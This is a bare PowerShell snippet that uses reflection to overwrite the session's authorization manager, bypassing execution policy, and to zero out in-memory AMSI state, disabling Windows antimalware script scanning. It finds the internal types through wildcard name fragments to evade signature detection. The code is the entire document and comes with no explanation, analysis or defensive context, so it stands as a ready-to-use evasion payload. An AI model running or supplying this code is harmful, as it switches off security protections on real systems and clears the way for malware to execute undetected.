function PS.NullContext { iex '((($x=$executionContext.GetType().GetField("_context",36).GetValue($executionContext)).GetType().GetFields(36)|?{$_.Name -like "*auth*"}).SetValue($x,(New-Object Management.Automation.AuthorizationManager Microsoft.PowerShell)))' iex '([Runtime.InteropServices.Marshal]::Copy([byte[]](@(0)*9),0,[IntPtr]((([Ref].Assembly.GetTypes()|?{$_.Name -like "*iu*"}).GetFields(40)|?{$_.Name -like "*ic*"})|%{$_.GetValue($null)}),9))' }; PS.NullContext